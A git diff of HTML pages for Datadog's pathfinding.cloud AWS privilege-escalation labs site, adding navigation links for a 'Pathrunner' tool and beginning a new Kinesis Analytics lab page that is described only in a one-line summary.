+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/index.html b/docs/labs/index.html
index e2ad22a5..f4a1b530 100644
--- a/docs/labs/index.html
+++ b/docs/labs/index.html
@@ -90,6 +90,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -148,6 +149,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -196,6 +205,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
diff --git a/docs/labs/kinesisanalytics-001/index.html b/docs/labs/kinesisanalytics-001/index.html
new file mode 100644
index 00000000..c8a0e3cc
--- /dev/null
+++ b/docs/labs/kinesisanalytics-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Kinesis Analytics Application to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Pass an admin role to an Amazon Managed Service for Apache Flink application running a pre-staged malicious JAR that grants the starting user administrative access">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/kinesisanalytics-001/">
+    <meta property="og:title" content="Kinesis Analytics Application to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Pass an admin role to an Amazon Managed Service for Apache Flink application running a pre-staged malicious JAR that grants the starting user administrative access">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Kinesis Analytics Application to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Pass an admin role to an Amazon Managed Service for Apache Flink application running a pre-staged malicious JAR that grants the starting user administrative access">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
